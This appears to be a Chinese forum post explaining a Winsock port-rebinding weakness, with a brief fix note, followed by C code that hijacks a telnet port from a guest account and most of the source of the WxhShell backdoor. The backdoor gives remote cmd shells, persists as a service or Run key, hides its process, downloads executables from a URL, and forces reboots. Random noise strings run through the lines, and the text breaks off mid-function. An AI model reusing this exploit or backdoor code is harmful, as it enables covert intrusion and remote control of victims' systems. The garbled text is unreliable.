在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
Td!@i[6%H s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
poJ7q ( FR%9Qb7 saddr.sin_family = AF_INET;
zadn`B#2 XLwmXi saddr.sin_addr.s_addr = htonl(INADDR_ANY);
IE/F =Wr <ezv bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
QuG=am?l` 5/U|oZM" 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
{NmpTb uZ[7[mK}n7 这意味着什么?意味着可以进行如下的攻击:
8?p40x$m% "S8JHHx 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
:|j,x7&/{ T-"zK r! 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
=&Dt+f& "ecG\}R= 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
-nBb -y LjZvWts? 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
D@jG+k-Lm j?!BHNs 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
~Sq!P :{#%_^}k 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
w8MQA!=l -TIrbYS` 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
^ ]nnvvp #&Xr2?E@ #include
Y&vn`# #include
RM^3Snd=V #include
H{XbKLU #include
BGk>:Z` DWORD WINAPI ClientThread(LPVOID lpParam);
P''5A6#5 int main()
:.;pRz {
4J #F;#iA WORD wVersionRequested;
+y%"[6c| DWORD ret;
<d2?A}< WSADATA wsaData;
(~C_zG BOOL val;
c!,&]*h"k SOCKADDR_IN saddr;
'.Ww*N SOCKADDR_IN scaddr;
aQ@9(j>
F int err;
!_zp'V]? SOCKET s;
U)v['5% SOCKET sc;
~|W0+ &): int caddsize;
$!~R'N c HANDLE mt;
!Q-h#']~L DWORD tid;
VL^.7U wVersionRequested = MAKEWORD( 2, 2 );
JCL+uEX4S err = WSAStartup( wVersionRequested, &wsaData );
h6Femis if ( err != 0 ) {
/(/Z~J[ printf("error!WSAStartup failed!\n");
U<T.o0s= return -1;
)Dg;W6 }
oJ
r&9.S saddr.sin_family = AF_INET;
0?DD!H)&w 5AX
AIP n) //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
|I; tBqN{u />wM#)o2 saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
HIK"Ce saddr.sin_port = htons(23);
)<J|kC\r6c if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
j`fQN {
ll]MBq printf("error!socket failed!\n");
KKrLF?rc return -1;
:5Y
yI.T }
A&HN7C%X val = TRUE;
C*+gQeK //SO_REUSEADDR选项就是可以实现端口重绑定的
L5+X& if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
R`IFKmA EJ {
nFRU-D$7 printf("error!setsockopt failed!\n");
li!3bv return -1;
iD;pXE{2s% }
79DzrLu //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
S5Hb9m&& //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
}rWEa^ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
:K:oH}4oh :htz] if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
bOEO2v'cQ {
+"sjkdum1 ret=GetLastError();
kAu-=X printf("error!bind failed!\n");
5=;LHS* return -1;
vbo|q[z }
3YKJN4 listen(s,2);
*En29N#a{ while(1)
7H$I9e {
[uJfmr EH caddsize = sizeof(scaddr);
J^!2F}: //接受连接请求
RA%=_wPD
+ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
IE)$.%q;) if(sc!=INVALID_SOCKET)
n\-nBrVSf {
U(d K mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
_T96.~Q if(mt==NULL)
1Q5:Vo^B# {
L|?$F*bs printf("Thread Creat Failed!\n");
I_/E0qSJI break;
>MTrq%. }
Ofx] }
{V8yJ{.G CloseHandle(mt);
fbTq?4&Q }
m;_gNh8 Ee closesocket(s);
\
oY/hT _ WSACleanup();
6Kvo Ho return 0;
wjq;9%eXk }
Fjs:rZ#{ DWORD WINAPI ClientThread(LPVOID lpParam)
Li'>pQ+ {
Z<yLu'48)A SOCKET ss = (SOCKET)lpParam;
vz$_Fgsc. SOCKET sc;
{^5LolCCH unsigned char buf[4096];
0[# zn SOCKADDR_IN saddr;
H%nA"- long num;
D]?eRO9' DWORD val;
f3>L/9[[<P DWORD ret;
3R}O3#lj, //如果是隐藏端口应用的话,可以在此处加一些判断
F@%`(/^TA //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
yb-1zF| saddr.sin_family = AF_INET;
7R4t%^F saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
b p[wr saddr.sin_port = htons(23);
vvTQ!Aa if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
X7bS{GT {
$fzO:br5WJ printf("error!socket failed!\n");
rexNsKRK_ return -1;
[%uj+?}6O }
A_y]6~Mu?~ val = 100;
Nf]h8d~ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
[$Dzf<0 {
~6Xr^An/Z ret = GetLastError();
V
6*ohC: return -1;
(u{?aG~ }
h7P<3m} if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
n@JZ 2K4 {
'^{:HR#i ret = GetLastError();
nF)b4`Nd return -1;
f@j )t%mh }
f`gs/R if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
qk{+Y {
@W1F4HYds printf("error!socket connect failed!\n");
m8T< x> closesocket(sc);
n9 %&HDl4 closesocket(ss);
b2tUJ2p return -1;
ppP0W`p }
HM]mOmL90N while(1)
R PB%6z$ {
t:O"t
G //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
R<)^--n //如果是嗅探内容的话,可以再此处进行内容分析和记录
7'g{:dzS*3 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
= pCO1<wR num = recv(ss,buf,4096,0);
Q,m&XpZ if(num>0)
J#*%r) send(sc,buf,num,0);
rRQKW_9mB else if(num==0)
MQY}}a-oug break;
P3k@ptc-K num = recv(sc,buf,4096,0);
2.2G79U, if(num>0)
u)4eu,MBT send(ss,buf,num,0);
\-W|)H else if(num==0)
Q1'4xWu break;
r$cq2pkX }
4G_At closesocket(ss);
~PtIq.BY closesocket(sc);
@2;/-,4O return 0 ;
Tb[1\ }
z[sP/{~z k9_c<TSzu fZtuP1-4 ==========================================================
k0v&U@+-J fe4Ki 下边附上一个代码,,WXhSHELL
h]jy):9L a;h.I}*] ==========================================================
V#,jUH| wj{[g^y% #include "stdafx.h"
>+FaPym di4>Ir~] #include <stdio.h>
M(Tlkr #include <string.h>
'JRYf;9c #include <windows.h>
>X_5o^s2s #include <winsock2.h>
=#>F' A #include <winsvc.h>
\|YIuzlO4 #include <urlmon.h>
:V!F~ =v{Vl5&>? #pragma comment (lib, "Ws2_32.lib")
,<t)aZL,A; #pragma comment (lib, "urlmon.lib")
Tl!}Rw~Pg ["1Iz{ #define MAX_USER 100 // 最大客户端连接数
};;k5z I% #define BUF_SOCK 200 // sock buffer
9SQcChG~j #define KEY_BUFF 255 // 输入 buffer
fZgEJsr P^57a?[` #define REBOOT 0 // 重启
' 4.T1i, #define SHUTDOWN 1 // 关机
f
0r?cZ ?p'DgL{ #define DEF_PORT 5000 // 监听端口
w(oi6kg mXOY,g2w #define REG_LEN 16 // 注册表键长度
U}R( #define SVC_LEN 80 // NT服务名长度
K"/3/`T +GvPJI // 从dll定义API
=k]2Ad typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
XI\P#" typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
>e^^YR^ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
DS|q(O=7~t typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
OsV'&@+G> Y[rRz6.*( // wxhshell配置信息
FaLc*CU struct WSCFG {
s4[PwD int ws_port; // 监听端口
0^83:C
^{ char ws_passstr[REG_LEN]; // 口令
7V2xg h!W int ws_autoins; // 安装标记, 1=yes 0=no
tUk)S char ws_regname[REG_LEN]; // 注册表键名
b!JrdJO,DP char ws_svcname[REG_LEN]; // 服务名
dT7!+)s5- char ws_svcdisp[SVC_LEN]; // 服务显示名
;R([w4[~ char ws_svcdesc[SVC_LEN]; // 服务描述信息
3_ ZlZ_Tq char ws_passmsg[SVC_LEN]; // 密码输入提示信息
[tk6Kx8a int ws_downexe; // 下载执行标记, 1=yes 0=no
.$ X|96~$ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
WRp0. char ws_filenam[SVC_LEN]; // 下载后保存的文件名
dUH+7.\ Yy'CBIq#f };
=`ECM7 |@BX*r // default Wxhshell configuration
rcz9\@M struct WSCFG wscfg={DEF_PORT,
vMzBp#MT "xuhuanlingzhe",
i :|e#$x 1,
UuCRQN H "Wxhshell",
2QgD< "Wxhshell",
^Rb*mI "WxhShell Service",
>0JCu^9 "Wrsky Windows CmdShell Service",
;R]~9Aan "Please Input Your Password: ",
k`BS{,= 1,
z#B(1uI "
http://www.wrsky.com/wxhshell.exe",
d*_rJE}B "Wxhshell.exe"
^#!\VGnL };
joBS{] E1s~ + // 消息定义模块
)%09j0y>l" char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
'Pe;Tp>` char *msg_ws_prompt="\n\r? for help\n\r#>";
no(or5UJ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
@~bP| a char *msg_ws_ext="\n\rExit.";
LT#EYnG char *msg_ws_end="\n\rQuit.";
3<>DDY2bl char *msg_ws_boot="\n\rReboot...";
cHC4Y&&uZ char *msg_ws_poff="\n\rShutdown...";
yRR[M@Y char *msg_ws_down="\n\rSave to ";
7U!-_)n{ U%n>(!d char *msg_ws_err="\n\rErr!";
>U)>~SQf char *msg_ws_ok="\n\rOK!";
P~;1adi3 `R*SHy!
_ char ExeFile[MAX_PATH];
"fC>]iA8I int nUser = 0;
I2WWhsNC HANDLE handles[MAX_USER];
tYp 185 int OsIsNt;
u\(>a ]P e8G(E! SERVICE_STATUS serviceStatus;
)jjL' SERVICE_STATUS_HANDLE hServiceStatusHandle;
yN/g;bQ 1&RB=7.h // 函数声明
Vqr]Ui int Install(void);
P4:Zy;$v! int Uninstall(void);
0),fY(D2T int DownloadFile(char *sURL, SOCKET wsh);
DWS#q|j`" int Boot(int flag);
&88c@Ksn void HideProc(void);
2U3e!V int GetOsVer(void);
eV"s5X[$ int Wxhshell(SOCKET wsl);
?)H:.]7-x void TalkWithClient(void *cs);
Sd/7# int CmdShell(SOCKET sock);
vxS4YR b int StartFromService(void);
V
n+a-v int StartWxhshell(LPSTR lpCmdLine);
A8g_BLj!e qJE_4/<^! VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
Sx1|Oq] VOID WINAPI NTServiceHandler( DWORD fdwControl );
n#sK31;yb QO:Z8{21So // 数据结构和表定义
&3Lhb}m SERVICE_TABLE_ENTRY DispatchTable[] =
1p8pH$j' {
S9[Y1qH>K {wscfg.ws_svcname, NTServiceMain},
P(!%Pp {NULL, NULL}
~UHjc0 };
Uy|Tu~ \Hw*q| // 自我安装
Qq%~e41ec int Install(void)
0mNL!" {
5,+fM6^V char svExeFile[MAX_PATH];
`FwE^_9d HKEY key;
ix"BLn]YZ strcpy(svExeFile,ExeFile);
"wCx]{Di *'*n}fM // 如果是win9x系统,修改注册表设为自启动
RXw1HRR$V if(!OsIsNt) {
6z]y
=J if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
S f6%A RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
}$[@* RegCloseKey(key);
7yjun|Lt}X if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
I>q!co9n RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
H^dw=kS RegCloseKey(key);
tN.$4+ return 0;
hiv {A9a? }
_2{2Xb }
gjx-tp 1. }
qMoo#UX else {
xUNq!({T XMz*}B6GQ // 如果是NT以上系统,安装为系统服务
LG:d
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
XpYd|BvW if (schSCManager!=0)
e.^?hwl {
K4]#X" SC_HANDLE schService = CreateService
x!7r7|iV (
fg lN_ schSCManager,
ox_DEg7l wscfg.ws_svcname,
R"l6|9tmP wscfg.ws_svcdisp,
|Qcj+HH. SERVICE_ALL_ACCESS,
&8yGV i SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
"G,,:H9v SERVICE_AUTO_START,
:iGK9I SERVICE_ERROR_NORMAL,
,N;2"$+E svExeFile,
dkY JO! NULL,
j5og}Pq: NULL,
JH u>\{ 8V NULL,
_s<s14+od NULL,
a47e NULL
n 83Dt*O );
lr[T+nQ if (schService!=0)
mnBTZ/ZjS {
}%AfZ2g;h CloseServiceHandle(schService);
A6J:!sY4A CloseServiceHandle(schSCManager);
-ssmj8:Q\| strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
>&ZlCE strcat(svExeFile,wscfg.ws_svcname);
`7'^y if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
2h#.:!/SMw RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
T1R~^x1 RegCloseKey(key);
~]].i~EV( return 0;
_CTg")0o }
ng~LCffpY }
Z"qJil} CloseServiceHandle(schSCManager);
^Bo'87!. }
+FAxqCkA }
C<(qk _ zbr^ul r return 1;
<6s@eare8 }
@2mWNYHR*> rA^=;?7Q // 自我卸载
?6>*mdpl int Uninstall(void)
4q:8<*W= {
J}+N\V~ HKEY key;
G9V2(P ?3qp?ea if(!OsIsNt) {
j8
`7)^ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
UbGnU_} RegDeleteValue(key,wscfg.ws_regname);
"5z@A/Z/ RegCloseKey(key);
)v*k\:Hw if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
KeB??1S RegDeleteValue(key,wscfg.ws_regname);
/ 9,'. RegCloseKey(key);
.'$8Hj;@ return 0;
'9zKaL }
7&/1K%x9; }
}s:3_9mE }
*4LRdLMn else {
O*bzp-6\ Z{:;LC SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
RZKx!X4=q if (schSCManager!=0)
s$,G5Feub {
PIXqd, SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
"FhC"}N if (schService!=0)
k}I65 ^l# {
nP<u.{q
L if(DeleteService(schService)!=0) {
<L11s%5- CloseServiceHandle(schService);
/hmDePo} CloseServiceHandle(schSCManager);
~-y&C% return 0;
{0np }
$}0!dR2 CloseServiceHandle(schService);
YJ-<t6 }
+ !"YC CloseServiceHandle(schSCManager);
.C5<uW5-R }
n~BQq-1 }
'r ^.Ao5 w{lj'3z I return 1;
:-lq Yd5^ }
Oo-4WqRJ tQYV4h\Qj // 从指定url下载文件
eK5~gnv, int DownloadFile(char *sURL, SOCKET wsh)
2{Dnfl'k {
<#;5)!gr{ HRESULT hr;
Mk=*2=d char seps[]= "/";
h-sO7M0E] char *token;
U1 *P char *file;
r$-P char myURL[MAX_PATH];
E2t&@t%W char myFILE[MAX_PATH];
Nn-k hl|11 )4-!]NsV strcpy(myURL,sURL);
#H<}xC2 token=strtok(myURL,seps);
LAM{
,?~ while(token!=NULL)
`B&=ya|bl {
:8`$BbV file=token;
B
u%%O8 token=strtok(NULL,seps);
t#8QyN }
ZMr[:,Jp EkRx/ GetCurrentDirectory(MAX_PATH,myFILE);
1Y;.fZE strcat(myFILE, "\\");
isy[RAP< strcat(myFILE, file);
=R 4]Kf send(wsh,myFILE,strlen(myFILE),0);
Y:#B0FD,gC send(wsh,"...",3,0);
hO{&bY0 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
I$x<B7U if(hr==S_OK)
GVu[X?q@| return 0;
p:$kX9mT& else
s-(c-E09 return 1;
_Ve)M% W8u&5#$I }
w1(5,~OB ;&f(7 Q+T_ // 系统电源模块
-5]lHw} int Boot(int flag)
%.wR@9? {
KHx;r@{< HANDLE hToken;
O"kb*// TOKEN_PRIVILEGES tkp;
ZR0 OqSp] 'vu]b#l3 if(OsIsNt) {
ZZwIB3sNhf OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
zBwqIJfM LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
u|.|dv'mbp tkp.PrivilegeCount = 1;
,)!%^~v tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
ntB#2S AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
,quUGS if(flag==REBOOT) {
BFP@Yn~k if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
{oF;ZM'r return 0;
Vr"'O6 }
RJd*(!y else {
5-k gGOt if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
_
W#Km return 0;
&iq'V*+-\ }
WA1yA*S }
trjeGSt& else {
0S4Y3bac& if(flag==REBOOT) {
n[qnrk*3
% if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
@jjxgd'%& return 0;
92R,o'# }
F7w\ctUP else {
6(t'B!x if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
CS*lk!C return 0;
[`E_/95 }
bG* l_ }
?/5<}W#7} xluAjOQ6 return 1;
hVT>HER }
$FIJI^Kd7 \I/"W#\SJo // win9x进程隐藏模块
=jpRv<X|, void HideProc(void)
0)\(y {
;{&4jcV* 1:M'|uc HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
pFiE2V_aS if ( hKernel != NULL )
bF*Kb"!CF {
xC=$ym] pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
i$}G[v<4 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
)+hJi/g FreeLibrary(hKernel);
_8-1wx }
5T9[a q o-|.I return;
v;g,qO!LJ }
vO"E4s k\/es1jOEh // 获取操作系统版本
Dp#27Yzc int GetOsVer(void)
s(s_v ?k {
y,KZp2 j OSVERSIONINFO winfo;
n>:e8KVM; winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
qPUACuF' GetVersionEx(&winfo);
P@n
rcgM. if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
\k6OP return 1;
< 0S\P=\ else
'u%_Ab_H return 0;
iWUxB28 }
e$Y7V RLLL=?W@ // 客户端句柄模块
qT4`3nH: int Wxhshell(SOCKET wsl)
n[v`F {
JlE+CAny SOCKET wsh;
FOPmvlA\-< struct sockaddr_in client;
G%i&C)jZ DWORD myID;
Kuk@x.~0m )liNjY@ while(nUser<MAX_USER)
=M4wP3V/ {
{S%;By&[ int nSize=sizeof(client);
7<2?NLE8* wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
4IM_6
if(wsh==INVALID_SOCKET) return 1;
+, rm v] Xy^7? handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
n4"xVDL if(handles[nUser]==0)
LA6Ik_-F closesocket(wsh);
CJ#Yu3} else
#0#6eT{- nUser++;
la]Zk }
G"vEtNoV WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
\tS|
N40 F:0 E-
z' return 0;
(~b0-3s }
jt9@aN.mJN OQyZ' // 关闭 socket
:4"b(L void CloseIt(SOCKET wsh)
M[R' {
1JI7P?\B closesocket(wsh);
WS@8Z0@RD nUser--;
Dl}va ExitThread(0);
S|IDFDn }
IZ.b (51;cj>J // 客户端请求句柄
t +CU void TalkWithClient(void *cs)
IueI7A {
x_4{MD^% n!NA}Oa SOCKET wsh=(SOCKET)cs;
Zzr char pwd[SVC_LEN];
4%TmW/yd char cmd[KEY_BUFF];
2qKAO/_O char chr[1];
BT5~MYBl int i,j;
kh>i#9Ie '}P$hP_d while (nUser < MAX_USER) {
R_:-Z.
h#|A c>fz if(wscfg.ws_passstr) {
sNC~S%[ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
VOp+6ho< //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
M3)Id?|]6 //ZeroMemory(pwd,KEY_BUFF);
Vt4,?" i=0;
2-"`%rE while(i<SVC_LEN) {
MPsm)jqX jSvo- // 设置超时
"fd'~e$S# fd_set FdRead;
m W4tW struct timeval TimeOut;
s!
sG)AR.J FD_ZERO(&FdRead);
j2%#xZ{33 FD_SET(wsh,&FdRead);
mi sPJO&QD TimeOut.tv_sec=8;
DJR r TimeOut.tv_usec=0;
)VxC v int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
6wyhL-{: if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
42DB0+_wz 0Jm)2@ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
"LVN:|! pwd
=chr[0]; +n<;);h
if(chr[0]==0xd || chr[0]==0xa) { NbhQ-
pwd=0; I{u+=0^Y
break; o7:"Sl2AD
} ~T'$gl
i++; ')E4N+h/
} t~]tw
3W?H^1t
// 如果是非法用户,关闭 socket >vQKCc|93
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); lMXLd91
} QPsvc6ds
k=5v
J72U
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); t$U eks
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +r__>V,
5cC)&}I
while(1) { %0eVm
p{rzP,Pb&
ZeroMemory(cmd,KEY_BUFF); *3!ixDX[r
4=hz4(5a
// 自动支持客户端 telnet标准 0J9Ub
j=0; YoRD9M~iG~
while(j<KEY_BUFF) { =xHzhh
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7C^W <SUo
cmd[j]=chr[0]; A)o%\j
if(chr[0]==0xa || chr[0]==0xd) { f<2<8xS
cmd[j]=0; G%fNGQwT
break; Kdb:Q0B
} ^g N?Io
j++; s!K9-qZl<
} K9euNa
zzyD'n7D
// 下载文件 !X/O1PM|
if(strstr(cmd,"http://")) { m9f[nT
send(wsh,msg_ws_down,strlen(msg_ws_down),0); VaylbYUCT/
if(DownloadFile(cmd,wsh)) }kb6;4>c
send(wsh,msg_ws_err,strlen(msg_ws_err),0); A ]~%<=b
else C]%}L%,
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); TInp6w+u
} Y\7/`ty
else { aboA9pwH
^Jn=a9Q6Z
switch(cmd[0]) { 'fY(
Vm
V%!my[b
// 帮助 +K*_=gHF.
case '?': { {FNq&)#`
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); r*4@S~;
break; [5jXYqD=vj
} 1FmqNf:V7I
// 安装 ST^{?Q
case 'i': { o^&nkR
if(Install()) 6ALUd^
send(wsh,msg_ws_err,strlen(msg_ws_err),0); &+F}$8,
else \"hP*DJ"
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); r#'E;Yx
break; Fpf-Fa-K\b
} .ID9Xd$fky
// 卸载 %(n^reuP
case 'r': { GF awmNZ
if(Uninstall()) a'A'%+2
send(wsh,msg_ws_err,strlen(msg_ws_err),0); $ &fm^1
else dRnO5
7+{
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); T6p2=o&p
break; sBm/9vu
} #_[W*-|L
// 显示 wxhshell 所在路径 RiM!LX
case 'p': { g7U>G=,;?U
char svExeFile[MAX_PATH]; a$P$Ngi?S
strcpy(svExeFile,"\n\r"); Q?TXM1Bp
strcat(svExeFile,ExeFile); c ,RY
j
send(wsh,svExeFile,strlen(svExeFile),0); P0^7hSo
break; cvl1X"
} *Wz\FixP0
// 重启 b R;Wf5
case 'b': { AwO'%+Bv
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 92S,W?(
if(Boot(REBOOT)) -axV;+"b
send(wsh,msg_ws_err,strlen(msg_ws_err),0); rA#Ji~
else { Y!L<&
sl
closesocket(wsh); G .k\N(l
ExitThread(0); [I7([l1Wvd
} #^&.*'z%z
break;
66s h r
} ,2_!hm/
// 关机 @je vY81)
case 'd': { %oEvp{I
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); x$\w^h\F
if(Boot(SHUTDOWN)) ~`Xu6+1o
send(wsh,msg_ws_err,strlen(msg_ws_err),0); xK C{P{:
else { +zn207.`
closesocket(wsh); rCdf*;
ExitThread(0); i7(\i2_P
} vAp?Zl?g
break; uA2-&smw
} f$^+;j
// 获取shell Q.Ljz
Z
case 's': { i@XFnt
CmdShell(wsh); CHRO9
closesocket(wsh); KdB9Q ;
ExitThread(0); |;6l1]hk6
break; '=eE6=m^K
} <FFaaGiE>
// 退出 @:"GgkyDl#
case 'x': { koAM",5D
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); [v$NxmRu
CloseIt(wsh); #[{xEVf
break; mjz<,s`D
} '+{dr\nJ
// 离开 '}q1 F<&
case 'q': { +O,h<*y
send(wsh,msg_ws_end,strlen(msg_ws_end),0); !%{s[eO\
closesocket(wsh); ^U4|TR6mub
WSACleanup(); Z6vm!#\
exit(1); Du2v,n5@
break; Ho:X.Z9A^
} #UpxF?A(
} kGX;x}q
} ]\t+zF>&Y
{Qla4U
// 提示信息 #Qp.O@e
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); t,yzqn
} 2i3& 3oz]O
} pD>^Dfd
Ma`Goi\vFk
return; ?hQ,'M2
} rX<gcntv
.5~W3v
<
// shell模块句柄 Z/ypWoV(
int CmdShell(SOCKET sock) _("&jfn
{ ?w[M{
STARTUPINFO si; SAEV "
ZeroMemory(&si,sizeof(si)); 32sb$|eQq
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; KVrK:W--p
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; mTW@E#)n
PROCESS_INFORMATION ProcessInfo; `1[GY){?)
char cmdline[]="cmd"; bu2'JIDR
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); t[ZumQ@HC
return 0; :9E_L2M
} 5vso%}c
FiQx5}MMhu
// 自身启动模式 5E+k}S]M$
int StartFromService(void) KQ x<{-G6
{ +i[w& P
typedef struct Xkv+"F=-
{ Qb|.;_
DWORD ExitStatus; O<x53MN^
DWORD PebBaseAddress; +RO=a_AS
DWORD AffinityMask; [,|Z<
DWORD BasePriority; [n_H9$
